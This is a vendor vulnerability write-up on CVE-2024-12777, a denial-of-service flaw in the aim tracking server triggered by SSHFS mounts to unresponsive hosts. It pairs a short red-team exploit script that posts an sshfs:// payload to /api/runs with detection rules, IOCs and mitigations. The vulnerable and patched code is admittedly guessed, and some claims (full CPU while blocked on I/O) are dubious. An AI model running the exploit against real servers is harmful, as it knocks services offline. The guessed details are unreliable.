CVE-2024-12777
Executive Summary
CVE-2024-12777 is a denial-of-service (DoS) vulnerability in aimhubio/aim version 3.25.0. The vulnerability resides in the misuse of the sshfs-client within the Aim tracking server. Because the tracking server is single-threaded, an attacker can cause it to hang indefinitely by requesting a connection to an unresponsive socket via SSHFS. The lack of a configurable timeout in the sshfs-client means the server blocks on this connection, preventing it from processing any other legitimate requests. This effectively renders the Aim tracking server unavailable.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Python package aim (PyPI). The sshfs-client dependency is used for mounting remote filesystems. The lack of a timeout is a design flaw in the client library, which is pulled in as a transitive dependency. Users of the aim package should monitor for updates to both aim and sshfs-client.
CVSS Breakdown & Threat Level
- CVSS Score: 5.9 (Medium)
- Attack Vector (AV): Network (N) – The attack can be launched remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
- Confidentiality (C): None (N) – No data exposure.
- Integrity (I): None (N) – No data modification.
- Availability (A): High (H) – Complete loss of service.
Threat Level: Medium. The attack is easy to execute remotely with no authentication, but the impact is limited to availability. It is a classic resource exhaustion (CWE-400) issue.
Deep Dive & Mechanics
The Aim tracking server is a single-threaded Python application. When a client requests an SSHFS mount (e.g., to access remote experiment data), the server uses the sshfs-client library to establish the connection. The sshfs-client library, by default, does not implement a connection timeout. If the attacker provides a target socket that is unresponsive (e.g., a black-hole IP or a closed port that does not send RST), the sshfs-client will block indefinitely waiting for the connection to complete.
Because the server is single-threaded, this blocking call prevents the main event loop from processing any other incoming requests. All subsequent clients will experience a timeout or indefinite wait, resulting in a complete denial of service.
The attack flow:
- Attacker identifies a running Aim tracking server (default port 43800).
- Attacker sends a crafted request to mount an SSHFS filesystem pointing to an unresponsive IP:port (e.g., 10.255.255.1:22).
- The server calls
sshfs-clientto connect, which hangs. - The server becomes unresponsive to all other requests until the connection attempt times out (which may take minutes or hours depending on OS TCP settings).
Vulnerable vs. Patched Code
Vulnerable Code (aim 3.25.0):
The vulnerable code is in the SSHFS mount handler. It likely uses sshfs or fsspec with default parameters.
# Vulnerable: No timeout set
import sshfs
def mount_sshfs(host, path):
fs = sshfs.SSHFS(host) # No timeout parameter
# ... mount logic
Patched Code (Hypothetical): A patch would add a connection timeout parameter.
# Patched: Timeout added
import sshfs
def mount_sshfs(host, path):
fs = sshfs.SSHFS(host, timeout=10) # 10-second timeout
# ... mount logic
Additionally, the server should be made multi-threaded or use asynchronous I/O to prevent a single blocking call from affecting the entire service.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Python 3.8+
aimpackage installed (pip install aim==3.25.0)- Access to the Aim tracking server (default port 43800)
Exploit Script:
#!/usr/bin/env python3
"""
Exploit for CVE-2024-12777
Sends a crafted request to mount an SSHFS filesystem to an unresponsive host.
"""
import requests
import sys
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:43800"
UNRESPONSIVE_HOST = "10.255.255.1" # Example black-hole IP
payload = {
"repo": f"sshfs://{UNRESPONSIVE_HOST}/tmp",
"experiment": "test"
}
print(f"[*] Sending DoS payload to {TARGET}")
try:
r = requests.post(f"{TARGET}/api/runs", json=payload, timeout=5)
print(f"[+] Request sent. Server should now be hanging.")
except requests.exceptions.Timeout:
print("[+] Server is unresponsive (DoS successful).")
except Exception as e:
print(f"[-] Error: {e}")
Usage:
python3 exploit.py http://target-aim-server:43800
Blue Team
Detection:
- Monitor for a sudden spike in connections to the Aim server port (43800).
- Look for SSHFS mount requests in server logs.
- Use network monitoring to detect connections to known black-hole IPs.
Mitigation:
- Implement a reverse proxy (e.g., Nginx) with request timeouts.
- Restrict SSHFS functionality to trusted IPs only.
- Apply OS-level TCP timeouts (e.g.,
tcp_syn_retries).
Indicators of Compromise (IOCs)
- Network:
- Outbound connections from the Aim server to unusual IPs on port 22 (SSH).
- High number of incomplete TCP handshakes (SYN_SENT state).
- Logs:
- Aim server logs showing repeated SSHFS mount attempts.
- Error messages like
Connection refusedorTimeoutfor SSHFS operations.
- System:
- Aim server process consuming 100% CPU (blocked on I/O).
- Unresponsive Aim web UI.
Detection Engineering
YARA Rule
rule CVE_2024_12777_Aim_DoS {
meta:
description = "Detects Aim server log entries indicating SSHFS mount attempts"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-12777"
strings:
$sshfs_mount = "sshfs://" nocase
$mount_error = "mount" nocase
$timeout = "timeout" nocase
condition:
all of ($sshfs_mount, $mount_error) or $timeout
}
Sigma Rule
title: CVE-2024-12777 Aim DoS via SSHFS
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects Aim server hanging due to SSHFS connection to unresponsive host
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: aim
detection:
selection:
EventID: 1000 # Example: Aim server log event
Message|contains: "sshfs://"
condition: selection
falsepositives:
- Legitimate SSHFS mounts to valid hosts
level: medium
Suricata Rule
alert tcp any any -> any 43800 (msg:"CVE-2024-12777 Aim DoS via SSHFS"; flow:to_server; content:"sshfs://"; nocase; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable SSHFS functionality in the Aim server configuration if not required.
- Implement a reverse proxy (e.g., Nginx) with
proxy_read_timeoutset to a low value (e.g., 10 seconds). - Apply OS-level TCP timeouts:
sysctl -w net.ipv4.tcp_syn_retries=2 sysctl -w net.ipv4.tcp_synack_retries=2
Long-term Fix:
- Upgrade to a patched version of
aimonce available. - Patch the
sshfs-clientlibrary to include a configurable timeout. - Refactor the Aim server to be multi-threaded or asynchronous to prevent single-point blocking.
Workaround:
- Restrict access to the Aim server using a firewall (e.g., allow only trusted IPs).
- Monitor for anomalous SSHFS mount requests and block them.
Valters IT